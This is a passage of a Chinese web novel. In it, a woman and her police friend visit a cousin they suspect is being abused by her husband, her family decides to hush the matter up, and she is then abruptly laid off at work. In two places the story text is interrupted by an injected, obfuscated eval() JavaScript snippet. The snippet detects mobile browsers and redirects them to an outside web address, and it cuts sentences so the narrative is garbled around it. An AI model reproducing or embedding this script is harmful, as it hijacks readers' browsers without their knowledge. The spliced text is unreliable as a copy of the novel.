隔壁桌同事点头:“到点就走了,许是有什么急事吧,看她很匆忙。” 领导腹诽道:“真会准点打卡,就她时间观念最强。” “给你带了个汉堡路上吃。”余希柠一上车,许于薇就递过来麦当劳袋子:“下班高峰期,过去还得一个多小时。” “辛苦许警官了。” “为人民服务!” 许于薇就差松开握着方向盘的手直接行礼了。 “你这个堂姐是自由恋爱结婚的吗?” 余希柠咬着汉堡包,嗯了声。 “交往不到半年就见家长,不到一年就领证,很快。” 余清越结婚前和余希柠聊过一次和男朋友有关的话题,只说各方面都很合得来,家里条件也不错。 婚礼前余希柠见过杜帆,个子高大,看起来斯斯文文的,说话做事都很照顾余清越,初印象还不错。 许于薇:“那算快的了。” 余希柠吃完汉堡简单收拾了一下,又拿湿纸巾擦了擦手,反复确认没有掉食物渣在许于薇的车上。 “我跟我大伯家不熟,也不知道我堂姐是不是也被家里催着才结婚,单从当初婚礼现场看的话,男方家人还是很重视她的。但结婚后她就没怎么回家,我本来想让我大伯母打个视频过去确认一下,结果我大伯母不愿意。” “为什么?” “就埋怨我姐婚后跟她关系不亲近,应该我姐主动打电话,她才不想管。” 许于薇苦笑:“理解。” 余希柠突然反应过来,身边的许于薇和余清越的情况差不多,也是家中长女,也是很早就结婚,底下有弟妹。 “你和你父母现在联系也少吗?” “嗯,除非说有什么事情,就会给对方打电话,从我上高中离开家开始,跟我父母关系就一直很淡。后来上大学,我妈觉得我懂事了,是大人了,家里有什么事情就会来问我意见,也会跟我发牢骚。” 许于薇说起过去的事情,还是记得很清晰:“那时候我以为,我跟我妈关系变亲近了,他们终于想到还有一个我了,但后来我发现,其实我当时给的建议,她后来都没有采纳。就其实她只是需要我在那个时候作为女人,短暂理解她,和她站在同一个战线。” 余希柠试图在听完许于薇的话后,对照自己过去看是否有差不多的情形,发现也有。 看来是不是独生,关系也不大。 “结婚后其实重心跟注意力是会不知不觉转移到自己的家庭上来的,因为一个人精力有限,不可能两头都兼顾,总会有主次。女儿跟儿子还不一样。” 许于薇说到这就停下来了:“不能跟你灌输太多,等你结了婚就懂了。” 余希柠笑:“那不知道得何年何月。” 58. 无力 到了余清越的小区,许于薇把车停好:“怎么说,直接上去还是先打电话?” “直接上去吧,我有她家地址。” 还好之前给余清越孩子买满月礼物时存过地址,不然今天还找不过来。余希柠拎着路上买的水果和牛奶走在前面,许于薇跟在后面观察四周环境。 “两梯五户,这小区看着不新,是买的二手房?” “是男方婚前买的房子,但没跟父母住在一起。” 出电梯门,许于薇把手机录音打开,反扣在手里。余希柠还有些紧张,做了几个深呼吸才敢摁门铃。 “谁啊!” “帆哥,是我。” 紧接着就听到狗叫声,余希柠看了许于薇一眼,当壮胆。 杜家有两道门,外面是不锈钢防盗门,杜帆打开里面的门看清来人,明显很惊讶:“希柠?你怎么来了。” “帆哥,这个是我同事薇薇。” 许于薇探头打了下招呼。 “我俩今天来佛山出差,想着我姐之前说身体不舒服,就顺道过来看看。”余希柠尝试看一眼屋里,但杜帆挡着大片,也看不清:“方便进去吗?” “当然。” 杜帆把门打开,见余希柠还背了个包,里面装着个电脑,看样子的确像是出差顺道。 “买了点水果和牛奶,汤圆睡着了吗?想跟她玩。” 余希柠不管不顾把东西塞进杜帆手里,然后进屋换鞋,许于薇自然是跟紧她。 “你姐和你说她身体不舒服?”杜帆问。 “对啊,我之前给她打电话时不是你帮忙接的吗?后来她回消息说身体不舒服先睡了,等有空再聊。” “哦哦对。”杜帆回得很含糊。 余希柠环视了周围一圈,客厅里堆满杂物,也没看见余清越,刚想问,就见主卧房门打开,余清越抱着孩子出来了。 “我在屋里听见声音,还以为是听错了。”余清越看着余希柠,微笑道:“怎么有空过来?” “和我同事来佛山出差。汤圆!柠姨抱抱!” 小孩刚满一岁,还不会说话,但一逗就笑,也不怕生人。 许于薇也是当妈的,借着孩子的话题和余清越聊了起来,余希柠一度都插不上话,全是她的知识盲区。 借着空隙,余希柠打量着周围一切,只见杜帆端着茶盘进厨房清洗,不时回过头看客厅。 萨摩耶被关在阳台外面,浮躁地来回走动。 “姐,你这几天是感冒了还是?” 这都六月了,余清越还穿着长袖家居服,扣子扣到衣领下,看着就觉得很热。露出的脸和脖子,还有手腕都看不出什么。 “就是有点偏头疼,已经好多了。” 杜帆端着茶盘出来,余希柠帮着整理桌面上的杂物,腾出泡茶的空间。 “我家孩子现在在秩序期,吵闹得很,说什么话都听不进去,现在看到小宝是真喜欢,这阶段的孩子最可爱了。” 许于薇拿出手机:“我给你看看她的照片。” “帆哥最近忙不忙?” 来的路上余希柠就跟许于薇商量好了,万一真有什么情况,可以先利用孩子这个共同话题来降低杜帆的防备心理。 然后由余希柠跟杜帆聊天,转移他的注意力,许于薇来找机会问余清越。 杜帆:“最近还行,你呢?公司业务都涉及到佛山了?之前没听说你这工作还得见客户的。” “那还是要的,我们提案竞标什么的都是去客户公司,线下提。现在不像疫情那会可以线上,就得来回奔波。” 余希柠侧着身坐,挡住许于薇的动作。 许于薇嘴上说给余清越看小孩照片,其实是打开了提前编辑好的提问图片—— “家里没什么事情吧?杜帆对你好不好?有没有需要帮助的地方?有的话,点头认可,没有的话就摇头。” 余清越先是愣了一下,眼底似乎有些泪意。 许于薇:“是不是看着还挺可爱的?但其实淘气得很。” “对,很可爱。” 余清越一边回答,一边点了点头。 许于薇心里虽惊,但还是不露声色地删掉这张提问图。 “你现在还是喂的母乳吗?” 余清越:“一半一半,她有时候不吃奶粉就喂母乳。” 许于薇笑道:“我从一开始就没喂母乳,很坚定选择奶粉,好在我婆婆很开明没干涉。哎你们就夫妻俩带小孩吗?” 适时地和杜帆有眼神交流,看似是真的在聊日常。 “对,我爸妈身体也不好,带不了小孩。”杜帆递了杯茶给许于薇,探身时正好跟余清越对上视线:“你先进去哄孩子睡觉吧,到点了。” 余清越迟疑了一下,还是抱着汤圆起身:“来汤圆,跟妈妈回屋睡觉了。” “汤圆拜拜,柠姨下次早点来和你玩。” 余希柠起身送余清越回房,杜帆叫住她:“希柠,哄睡需要安静。” “哦好。” 余希柠塞给了余清越一张纸条,转身回到客厅坐下。 “帆哥,我姐现在回去上班了吗?” 今天周五,看余清越的打扮,不像是下班回家的样子,倒像是休假在家。 杜帆敛眸,冲着茶淡淡道:“她早就辞职了,你不知道吗?” “那她现在就在家专门带孩子?” “不然呢,我们没有大人帮忙,总得牺牲一个人带汤圆吧。”杜帆看了眼墙上的挂钟,手指摩挲着膝盖,“你们是开车来的还是打车?” “我同事开车,时间不早,我们就先回去了,还得开一个多小时呢。” 余希柠站起身,抚平裙面,拉着许于薇往门口走:“汤圆哄睡要很久吗?” 杜帆:“看情况,有时候到点就自动关机了,我叫一下清越?” “不用了,免得吵醒汤圆。” 余希柠和许于薇换好鞋子出门,杜帆站在门口相送,很快电梯就到了。 “走了。” “拜拜。” 电梯门关上,余希柠旋即松开许于薇的手,表情变得焦急:“怎么办?” “先回车上等。” 许于薇也是头一回遇到这种情况,但好歹是警校毕业的,比余希柠要镇定些。 “你姐当时确确实实点头了,我逗弄汤圆的时候,探了一下她的袖口,隐约有看到青紫伤痕,想再看清时你姐夫就探起身。” 余希柠整个后背都是汗,头皮又麻又紧:“你说,他不会看出什么吧?” “应该不会吧,反而是他自己演技挺拙劣的,赶人两个字都写在脸上了,表情也很不自然。” 许于薇不屑道。 两人出了楼栋,往大门口走去,余希柠一直盯着手机看,但迟迟没等到余清越的消息。 分开时她塞了张纸条给余清越,如果余清越想报警,只需要给她发个常用的表情包。 “时间还是太短了,根本没办法跟我姐单独沟通。”上车后余希柠还在懊悔,“要是能跟她说两句,问清情况就好了。” “你也看见了,那个杜帆警惕性有多高,本来今天登门就很冒险。如果你表现得太明显,被他看穿,等我们一走,你姐处境就更危险。时间短反而不会让他起疑心。” 许于薇从车里拿出两瓶矿泉水,一瓶递给余希柠:“等等看吧,如果你姐不打算报警,恐怕还得另想办法。” 余希柠仰头灌了几口水才冷静了些,可也好不了多少:“好吓人,像演电视剧一样。” 许于薇看着她,平静道:“其实每个月都有因为家暴报警的,还有的被打得头破血流逃进派出所。” “然后呢?” “有的因为害怕,最终还是选择妥协、原谅和沉默,有的反抗了,换来更大伤害。当然,也有完全挣脱沼泽的例子,是少数,因为她背后必须有一个很强势的家庭护住她。” 许于薇单手搭着方向盘,另一只手扶额:“你姐的孩子太小了,怕就怕她会为了孩子,选择留在这个家里。” “不可以!”余希柠毫不犹豫道:“必须报警,必须离婚,都知道了有家暴这样的行为怎么还能袖手旁观!” “希柠,你只是她的堂妹,这件事上你能帮的非常少,得由她爸妈出面去处理。”许于薇拉着余希柠的手,理性道:“我理解你的情绪,也觉得你非常细心、非常厉害,今天能来到这也很勇敢,说明你不是冷血的人,不是不关心你堂姐。但这种关心和正义,它是非常有限的。” “我姐怎么还没给我回信息,难道手机不在她身边吗?又或者我们走后,杜帆又打她了?” 余希柠一次次刷新微信界面,都没等到余清越的消息。 许于薇:“我问过她,手机在不在自己身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们是不是觉得女儿嫁出去了,就算任务完成了,不论她是挨打还是挨骂都一概不管不顾?” “希柠,你冷静些,妈知道你的意思,这样,我和你爸现在去你大伯家一趟,电话里可能说不清,我们去当面沟通看看。” 陈慧柔放柔了声线:“你们现在在回广州的路上了吧?于薇陪你跑一趟也辛苦了,到家的时候给我发条信息,别耽误于薇回家带孩子。” “没事的阿姨,我老公在家。” 许于薇听见了陈慧柔的话,回应了一句。 陈慧柔:“好好,辛苦你了于薇,希柠,这事我们大人来处理,你不要再插手了,听话。” 余希柠:“你们谈完回家就给我打电话,多晚我都等。” 陈慧柔:“好。” 余希柠挂断电话,深呼吸,舒出一口气。 许于薇瞧见她的样子,感慨道:“我终于见识到你爆发的样子了,以前只看你在群里描述想象不到画面,今天算是见到现场版了。” “我也不想,就是控制不了。” 余希柠瘫靠在座椅上,想起什么,又看了眼手机,余清越还是什么都没发来。 许于薇抿了下唇:“可能要说句让你扫兴的话,这事情的结果未必会如你所愿,所以今晚别又睡不着乱想,你至多就是个普通人,不是救世主。” “你不看好?” “我只是觉得那个环境下的父母与长女关系,没有想象中的那么坚实有力。今天过后,生活还是继续,真的。” 余希柠沉默着没有回答许于薇的话,她想的是—— 如果驾驶座是郑重,会怎么看待这件事。 许于薇把余希柠送到小区楼下:“使命完成,回去好好休息,别想太多了。” “辛苦了,下周找时间请你吃饭,到家记得给我信息。” “好,走啦。” 余希柠看着许于薇的车驶离小区,才收回目光往里走。回到家,随手把包丢在一旁,整个人泄力瘫坐在了地毯上。 脑海里浮现出很多画面,有小时候和余清越相处的场景,也有长大后每次见面的客套,再有就是婚礼上接到她的捧花…… 余清越明明那么努力,那么好,为什么命运就是不能善待她。 59. 裁员 洗完澡已经十一点多了,陈慧柔还没有回电话,余希柠根本就睡不着,发了消息问,还没结束? 陈慧柔:“回家路上了,到了打给你。” 接到电话,余希柠第一句就问:“怎么说,他们打算什么时候去佛山?” 手机另一头沉默了很久,传来陈慧柔疲惫和无奈的声音,余希柠的心宛若被绑上了一块巨石,从高处坠落砸进了深湖里。 听陈慧柔的描述,余序南和黄蕾从难以置信到愤怒再到平静,只用了不到一个小时的时间。 他们争论、辩驳,关上了门和窗户,压低声音歇斯底里地讨论到最后,选择了息事宁人。余序南坚持,是夫妻就一定会吵架,只要一方稍微忍让,日子总能过下去。他们不也都是这么过来的吗? 离婚,说出去太丢人了,饶平就这么小的地方,好事不出门,坏事传千里。余清越只要带着孩子回家,不出三日,整个镇上就会知道她离婚,到时候影响只会更差。 忍一忍就过去了,孩子还那么小,离婚了名声就臭了,以后还怎么谈对象。要一直赖在家里吗? 为了孩子,日子还是要过下去的,离婚,苦的是小孩。这点道理余清越不会不懂,她应该也是这么想,才没有跟家里说。 说句难听的,这对象,这婚姻是她自己选的,都是成年人了,做什么事自己能负责。 父母都老了,哪能陪着折腾,更何况家里还有个在读书的弟弟,闹大了,他也会受到影响。 听完全部的话,余希柠栽倒在床上,用被子蒙住头,失望和无力、愤怒企图将她整个人吞没。 真让许于薇猜对了,保守的家庭看不到虚情假意和伤口疼痛,他们只会顾及面子,一味忍让。 “希柠,你在听吗?” 陈慧柔为了这事大半夜和余序洲跑到余序南家,离开时非但没落得一声谢谢,反倒被黄蕾说—— “你们不要总被孩子牵着鼻子走,我们是过来人,懂得越是这种时候越不能多管闲事。” 言下之意,余希柠也好,她和余序洲也好,管得太宽了。 陈慧柔也是气,更心疼余希柠为了这事还亲自跑一趟佛山,万一杜帆真的不是人,万一没有许于薇陪着,陈慧柔不敢想象余希柠会不会受什么伤害。 她也后怕。 “希柠,听妈妈的,这事你不要再管了,我们能做的就到这里了。你一个人在外,做事要有度,别让爸妈担心。” 余希柠始终没回,陈慧柔又追问了几声,她这才嗯了一下。 “很晚了,早些休息。” “妈——” 挂断电话前,余希柠叫住陈慧柔,试探性问道:“如果我以后遇到这样的事情,你们会帮我吗?” “呸呸呸,你胡说八道什么,你这乌鸦嘴,赶紧找个木桌面拍拍。” 陈慧柔声量陡然提高,许是也被余希柠这话给吓到了。 “你们总催我结婚结婚,可你们也没人告诉我,如果我结婚了,你们还会不会像小时候一样保护我。” “我们就你一个孩子,当然不会冷眼旁观。”陈慧柔劝着余希柠:“还好明天是周末,好好休息,不要再想这件事了。” 结束通话,余希柠望着暗下的手机屏幕久久出神。 这夜,她梦见了余清越,梦见她挣扎着想要跑出那个房子,却被杜帆揪着头发拽了回去。梦见自己帮助她逃跑,背包都准备好了,可她却说不想离开这个家。一边是杜帆殴打着余清越,一边是余序南和黄蕾笑着对亲朋说,夫妻俩关系很好,女婿很疼余清越…… 有什么在狠狠腐烂,有什么刺入了脊椎里迫使整个身体都麻木无力,余希柠挣扎着醒来,天光大亮,她满头大汗,喘着气好半会才缓过来,伸手摸索着抓到手机一看,没电关机了。 打开冰箱看了眼食材存货,拿出一个西红柿跟鸡蛋,给自己煮了碗面条。 手机重新开机,涌进来不少消息,许于薇问事情进展到哪一步,余希柠靠在厨房门边编辑消息。 “许警官神机妙算,又猜中一局。” 许于薇回复道:“尽人事,听天命。” 睡了一觉,昨日高涨的情绪就像那大海的浪潮逐渐退去,一遍遍抹平岸上沙滩,最终没有留下任何痕迹。 番茄鸡蛋面吃完,余希柠开始整理杂物,今天的任务是把客厅和柜子里用不到的物品统统放进搬家箱子里,随手断舍离。 阳光大好,客厅朝南,只要窗帘一拉开,整间屋子都是日照,空气中还能看见微尘颗粒跃动的身影。 陈慧柔打电话来问中午吃什么,东西都收拾到什么程度了,两人默契的都没有提起余清越的事情。 余希柠其实没有完全放下这件事,只要一停下手上的活,她就会不自觉想起。甚至萌生出一个念头,她还想再去一次佛山,哪怕是在余清越小区楼下坐会也行,杜帆总要出门的吧。 但之后呢,之后怎么办? 根本没有一个完善的逻辑闭环能够说服她。 因为短暂想到了郑重,所以余希柠还是问了她的看法,等了很久才等到一句很真实的回答。 “凭你这点正义,就如同蚍蜉撼树,你要帮她,得她自己先想自救。” 心里霎时变得很平静,余希柠觉得自己不再是像小时候那样不知天高地厚,敢想敢为,或者她骨子里其实是非常容易被劝服的。 年中汇报PPT都还没做,注意力得回到自己的事上来了。 周一上午开周会,领导说了一下本周的工作安排,要求部门成员在周三前提交汇报PPT,周五上午按抽签顺序做汇报,届时大老板也会参会。 除了年中述职,大家手里都还有项目在跟进,每个人忙得在工位都没怎么抬头聊天。一天班结束,屏幕上方工具栏统计字数基本超过八千字,这班上得像在写长篇巨制。 转眼就到了周五,余希柠抽到是下午做述职,上午就没进会议室。小群聊天从汇报一开始就没停,大抵是—— “老板发言又拖沓了。” “老板又发脾气了。” “老板又说脏话了。” “真倒霉,早上述职跟撞枪口没什么区别。” 这小群无领导,都是部门内同事,平时因为项目上的竞争关系,大家可能私底下互有怨言,但在吐槽领导和老板这件事上,还是能做到和谐统一。 余希柠原本还在修改跟进方案,一看群聊天,果断点开述职报告,重新捋了一遍架构,补充发言内容,生怕被老板逮到小辫子借题发挥。 下午两点,会议室又满了,明乔在余希柠之前做述职,进去了一个多小时才出来,表情上看不出有什么。 她和余希柠是同职级,比余希柠早半年进公司,之前是项目竞争对手,去年开始组成搭档合作。 不过今年,余希柠好几个项目都被明乔拿走了,因着关系好,她也没觉得有什么,乐意打辅助。 “希柠,轮到你了。” “怎么样?午休完老板脾气还好吧?” 进去前余希柠还特地打听了一下,明乔点点头:“他没说什么。” 余希柠松了口气,她心想,自己上半年的项目基本和明乔一样,如果老板没为难明乔,合理也不会为难她。 事实证明,是余希柠想简单了。 讲PPT的过程里,老板打断了她四次,分别询问余希柠在三个核心项目上的主要负责和工作量安排。 “希柠,你来公司也有三年多了吧?对你自己上半年做的业绩,怎么评价?刨去和明乔配合的项目,你自己主要负责的有几个?什么量级的,多少利润?” 押题押中了,余希柠已经提前组织好了回答。着重阐述自己主要负责的两个项目最终数据。再从前期接洽到最后执行,所做的内容跟产出,捎带提了一下同期,自己还有兼顾其他项目执行。 “你两个项目加起来,还没有明乔一个项目的利润高,我看了一下你的工作时间,嗯,一次迟到都没有,准时打卡上班,准时打卡下班……” 老板轻笑了一声:“你这工作量,你自己怎么评价?” 余希柠抿了抿唇,不卑不亢道:“我个人还是比较注重工作效率这块,没有拖延症的毛病。如果上班时间内能完成所有待办事项,我就会按时下班,做策略嘛,也需要休息转换思维,才能有新的想法补充。项目上线阶段需要加班,我也会加,有时候虽然已经下班回家了,但如果项目有什么新反馈,也会线上办公保持沟通。” 老板没说话,余希柠看向自己的直属上司,发现对方也没什么表情。 等了约莫有两三分钟,老板合上签字笔,往后靠着大班椅,稍抬手:“辛苦了,去叫白菜进来吧。” 余希柠起身颔首:“辛苦几位领导。” 把会议室门带上后,余希柠长舒一口气,走到白菜工位旁敲了敲:“轮到你了兄弟。” “怎么样?” “没上午那么凶。” “阿弥陀佛,紧张得我中午饭都吃不下。” 白菜抱着电脑进会议室,余希柠回到自己办公桌。年中述职结束,压在心上的大石也被搬开了,有种劫后重生的感觉,她迫不及待地拿起手机约姐妹们晚上一块吃饭。 宋乔:“看样子奖金有着落了?” 余希柠:“奖金不敢想,但起码没挨骂,今晚我请客!来的报名!” 许于薇:“我没问题。” 宋乔:“我也可以。” 余希柠点开大众点评选餐厅,每个菜系都挑了一家进行比对,最后定了一家出品还不错的新式川菜馆发到群里。 大家都没意见。 很好,万事俱备,只等到点下班。 方案还有一些内容需要补充,余希柠收起手机继续工作,Mini弹出小窗时,她正在找图片。 “嗨希柠,方便聊一下吗?” 部门述职结束了? 余希柠抬起头来看了眼大会议室,门关着,看不清里头还有没有人,但同事都在自己工位上坐着,看样子是结束了。 “可以。” “那我在三角会议室等你,你方便了就直接过来。” “需要带电脑吗?” “可以不用。” 余希柠下意识蹙了下眉,有些猜不准对方找自己是要聊什么,难不成绩效奖金这么快就有着落?还是说要聊考核结果,取消绩效奖? 环视了周围一圈,余希柠确定没有人能给自己提前提供小道消息,喝了口水压压心情,拿起手机起身去往会议室。 推开门前,她习惯性点开了语音备忘录。 “嗨,坐吧,空调温度怎么样?还需要调低些吗?” 余希柠:“不用了。” Mini面前摆着笔记本和几张A4纸,因为反盖在桌面上也看不清是什么内容。 “下午听完你的述职汇报,感觉上半年做了不少项目啊。” “都是些小额项目,和去年没法比。” Mini点点头,故作一副很无奈的样子:“今年的经济形势很差,公司效益也不好。” 余希柠抿了抿唇,面上保持微笑,但听到这话心里已经隐隐有了不安。 “你来公司也有三年多了吧,时间真的过得好快。但今年的情况,我想你应该略有耳闻吧?你的努力大家其实都看在眼里,但是……” Mini的嘴唇张合个不停,余希柠机械地点头,保持着职场最后一丝体面社交,聆听别人对自己的最终审判。 “你和公司的缘分,到今天就正式结束了,补偿金会按照4N发放给你,你这边还有什么其他的诉求吗?” 余希柠低头冷笑了下,冷静道:“这属于临时通知裁员,我要求按照N+1来赔付,另外今年的年假我还没有休完,需要抵扣。” Mini拿着笔装模作样地记录下来:“好,我会和老板反馈一下,还有别的吗?” 毫无征兆就领了大礼包,甚至早上都还在跟进项目,忙着年中述职,哪家公司赶人会赶得这么迫切,余希柠实在是想不通,只觉得一阵阵犯恶心。 “你这太突然了,我也得想一下,想到了再告诉你。” “好。” Mini收回嘴角笑容,抱着笔记本出会议室,彼此间再没有多余的客套和体面。 余希柠回到座位上,明乔扭头看她,打听进会议室都聊什么了。 余希柠没空理她,不停暗示自己要冷静,要稳住,要不露声色,但实则敲键盘的手都在抖。 “我刚刚被通知,裁员了。” 她第一时间在小群里发消息。 宋乔:“?” 宋乔:“卧槽,你不是刚述职完吗?” 余希柠:“我现在打字的手都在抖,头脑乱糟糟的。” 许于薇:“靠,这么突然!!!之前没有谈过话吗?述职的时候老板什么反应?你领导呢?” 余希柠:“什么都没有,就通知今天LastDay,滚蛋了。” 宋乔:“……” 许于薇:“赔偿拿到没?五险一金帮你交到什么时候?” 余希柠:“都没有提前说一声,我一桌子东西……我今天来上班就背了个小包。” 许于薇:“靠,什么渣滓地方。” 宋乔:“你们以前裁人都这么突然的吗?” 许于薇:“没给任何缓冲时间……” Mini的消息弹了出来,老板同意N+1,可以准备进会议室签字了。余希柠手忙脚乱地百度了一大堆临时被裁员需要问的问题。 例如补偿金什么时候发放,五险一金交到什么时候,离职通知书上是写主动离职还是双方协商等等。 人生经验无端端又多了一项,被裁员。 签好名字走出会议室的一刹那,余希柠觉得这个地方无比陌生,平日里和她关系还不错的领导,连提前暗示一下都没有,就将她置于如此狼狈的境地。 明乔原本键盘敲得飞起,见她回来,把聊天界面缩小,眼神对上的那一瞬间,她心绪别开眼,余希柠苦笑。 部门里的应该都知道了吧。 电脑里一大堆文件还来不及归档上传,幸好之前为了做述职总结,拷了一些案例在硬盘里,不然这么短时间要整理全部根本无从下手。 余希柠说服自己冷静下来,一边整理电脑文件,等待上传时间,一边收拾桌上办公用品。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227219|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >待了三年多,工位东西只多不少。能丢的她都丢了,剩下一些起码也得有个箱子或者书包来装。 电视里演的离职场面还是太悬浮了。人事只管催促交还办公用品和解除电脑登录ID及密码,根本不管走得体不体面。 宋乔打来电话,余希柠拿起工卡,下楼接听。 “签字了吗?现在怎么样啊?” “签了,正在收拾东西,电脑里的文件也需要时间上传,打了我一个措手不及,现在就是很狼狈。” 余希柠强撑了半天,还是忍不住委屈掉泪:“为什么偏偏是我啊,部门里摸鱼的人那么多,偏偏对我下手,干了那么多年没有功劳也有苦劳吧?” “和渣滓资本家讲不了道理,这种破公司还不想待呢,拿到赔偿就好,这年头被裁,拿到钱最重要。”宋乔拿着车钥匙进停车场:“给我发一下定位,我过去接你。” “接我?”余希柠抹掉眼泪,啜泣,“你要过来吗?” “当然,正好我也下班了,带了两个袋子过去接你,咱就是被裁也要走得要腰板挺直。被裁不丢人,公司经营不善才丢人。” 因为宋乔的话,余希柠好不容易止住的眼泪又忍不住往下掉。她没想到闺蜜会过来接自己,方才还在想是不是叫跑腿买个箱子过来,然后打车回家。 “许警官本来要杀过去替人民出头的,但还没到下班的时间,我先过去接你,晚上这顿饭我们照吃不误,就当庆祝你脱离血汗工厂了!” 余希柠哽咽地点头:“……好。” “地址发我,我现在出发。” 余希柠把公司定位发给宋乔,在楼下站着缓了一会,反复确认看不出哭过的痕迹后才返身进大楼。 把工位的东西归置到一边,只等宋乔来了之后拿袋子装好带走,剩余时间就等着文件上传,然后把电脑痕迹清理干净。 明乔:“对你下手了?” 职场没有真朋友。 余希柠点开聊天框,佯装爽快道:“赔偿到位就行。” “啊啊啊怎么不裁了我啊,我想拿赔偿啊!” “她拿什么理由裁你的?” “拿赔偿是最好的状况了,要是主动辞,回头肯定可惜怎么不熬到N+1。” …… 明乔一连发了好几条消息,余希柠顾着退出工作群也没来得及回复,这些年,单和领导的共同群聊就有一百四十多,只能捡还有活跃的群先退。 Mini发来消息让她OA提交离职申请,催问电脑还要多久返还。 余希柠:“一个多小时吧,看网速。” Mini:“……尽快吧。” 关系结束了,连演都懒得多演一下。 部门的人又开项目会,领导经过余希柠工位时,轻轻拍了拍她的肩膀:“一切顺利。” 余希柠假意笑笑:“多谢。” 宋乔到了公司楼下就给余希柠发消息。 OA提交通过,电脑等公司财产返还签字后,余希柠拎着两大袋东西昂着头离开公司大门。 包里的手机一直在响,一条接一条的消息像极了退潮后被赶上岸的鱼,张嘴呼吸跳跃。 这个比喻或许不是很恰当,但余希柠觉得她就是被拍死在沙滩上的鱼,其他鱼还能等着下一波浪潮来再回到大海,而她已经没有呼吸了。 宋乔:“别太难过了,往好的地方想,等投简历找到工作后,你这赔偿金就等于白赚的,比绩效多多了。” 余希柠靠着椅背叹气,不自信道:“现在的大环境,找工作哪有那么容易。” “那就休息一段时间,正好你这大半年因为装修都没怎么放松过,去旅个游,散散心?” 余希柠:“没工作了,还有房贷,哪里有心思旅游。” 宋乔扭头看了一下余希柠,知道她心情极差,没再劝。 原本是为了庆祝年中述职顺利结束的晚餐,忽然变成庆祝喜提裁员大礼包,这种灰色幽默,余希柠根本笑不出来。 许于薇到的时候,桌上已经空了两瓶啤酒,余希柠脸颊通红,情绪很不稳定。宋乔坐在一旁陪着,示意许于薇把门关上。 “我特地要了个包厢,让她好好发泄一下吧。” 许于薇点点头:“这事落在谁头上都不好受,太突然了。” “凭什么啊,就因为我没有像他们一样加班,所以就裁掉我吗?我活都干了啊!你们不知道,我们部门里有多少个刺头,我已经算是很安份,不会惹事的了,怎么还拿我开刀啊!” 余希柠气愤不已,连拍了两下桌子,掌心都拍红了。 许于薇坐下,拿过一个杯子也给自己倒满酒。 “别在自己身上找问题,这事得怨那个破公司。认栽,拿赔偿给过往工作经历买单,然后迅速离场,这才是你该做的。” “于薇说得对,工作没了,再找就是,你又不是没能力。”宋乔轻轻拍了拍余希柠的后背:“你要是想哭就哭出来,反正有什么情绪就发泄,我们俩在这陪你呢。” 余希柠给自己夹了一块香辣蛙,平日里一点都不会吃辣的人,这会儿被辣得直掉眼泪。 吃完饭,许于薇提议去唱K,大有一种要狠狠发泄的感觉。余希柠却拒绝了,说想回家一个人静静,头疼得厉害。 宋乔犹豫了一下:“要不我晚上陪你?你收留我一晚?” 余希柠笑道:“不用了,我没你们想的那么脆弱,再说了你们都成家了,晚上不回去不太行。” “管他。” “我真没事,你们已经陪了我很长时间了,我也该一个人消化消化。今天很谢谢你们。” 余希柠直接九十度鞠躬,把宋乔吓了一跳。 宋乔:“干什么呢。” “这本来就是我们该做的,好朋友之间不说什么谢谢。”许于薇把人扶稳,“回去好好睡一觉,把手机里的闹钟统统都取消了。” 宋乔:“我没喝酒,我送你。” 余希柠:“好人做到底,送佛送到西。” 宋乔心疼道:“你是真喝醉了。” 把人送到家,再三确认不用陪后,宋乔才离开。 大门关上,余希柠嘴角的笑容瞬间敛回,脚下步伐虚浮,一不小心绊到了袋子,整个人直接摔倒在地上。 手臂磕在了桌沿,疼得闷哼出声,划破一道口子,鲜血直流。袋子里装的东西掉出来不少,余希柠根本顾不上,手扶着地板起身,一瘸一拐地找药箱。 半天翻不出一块能用的止血贴,只能随手拿条毛巾就这么捂着,委屈地哭出声来。 人一倒霉,干什么都会受伤。 等到不流血了,余希柠才起身把东西收好,其实就是把两个袋子丢到角落的空箱里,都要搬家了,到时候一块搬过去就行,懒得再做规整。 之前还担心白天上班没时间收行李,早早就买了纸箱来,现在好了,大把时间。余希柠经过放纸箱的位置,抬脚踢了一下。 她现在就是一肚子气,走哪出到哪。 家里没有止血贴,伤口还是得处理一下,不然洗澡水一泡就刺疼。余希柠拿着钥匙出门,在小区附近的药店里买了几块大的止血贴和一瓶碘酒,回家后对照着镜子上药。 60. 撒谎 洗完澡,余希柠整个人还是浑浑噩噩的,喝多了酒的缘故还有点头疼。衣服不想洗了,随手丢到脏衣篓里。回房间一头栽倒在床上,脑海里还是不受控制地回忆起下午被裁时的画面, “真没劲。” 原本她应该高喊着被裁万岁,拿着大礼包好好休息一段时间,趁机放松一下调整状态。 之前没能旅游,一是没时间,二是没钱,如今这两样都有了,本该积极计划起来,才算是享受当下。最好是晚上回家后点一份丰盛的外卖犒劳过去辛苦当牛马的自己,把之前没时间追的剧立马点开,报复性熬夜也没关系,因为第二天不用起早上班可以睡到自然醒…… 如果是二十五岁的余希柠被裁员了,她一定会这样。 但三十岁的余希柠不会,她只会担心被裁员后能不能找到工作,担心当下的大环境会不会接受大龄单身女青年。 大龄单身、巨额房贷、无业游民,浑身上下叠满了负能量的标签,余希柠卷着被子蒙住自己的头,隐隐觉得浑身如坠冰窟,难受到了极致。 她的人生,好像糟糕透了,仿佛被人一把手推到了悬崖边缘,底下是深渊,而她四周没有任何可攀附之物。 头疼得厉害,身上一阵冷一阵热,张嘴就想吐,余希柠费劲从床上爬起来,扎起头发跑进厕所,刚把马桶盖掀开,就吐了出来,呛得眼泪滚落。 